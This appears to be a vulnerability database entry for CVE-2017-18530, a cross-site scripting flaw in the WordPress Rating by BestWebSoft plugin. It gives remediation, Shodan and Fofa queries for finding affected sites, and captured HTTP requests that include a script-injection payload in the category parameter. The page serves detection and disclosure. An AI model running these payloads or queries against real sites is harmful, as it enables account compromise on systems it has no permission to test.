🔙 목록으로 돌아가기

CVE-2017-18530: Rating by BestWebSoft < 0.2 - Cross-Site Scripting

TitleRating by BestWebSoft < 0.2 - Cross-Site Scripting
Authorluisfelipe146
SeverityMedium
ImpactAuthenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
RemediationUpdate to version 0.2 or later.
CVSS Score6.1
EPSS Score0.00098
CVE IDCVE-2017-18530
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/rating-bws/
Fofa Querybody=/wp-content/plugins/rating-bws/
Tags cve2017 cve wordpress wp-plugin bws-rating wpscan xss authenticated bestwebsoft vuln

🔍 Vulnerability Description

The rating-bws plugin before 0.2 for WordPress has multiple XSS issues.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=f3Hgc8&pwd=w4FARs&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/rating-bws/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18530.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-18530.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A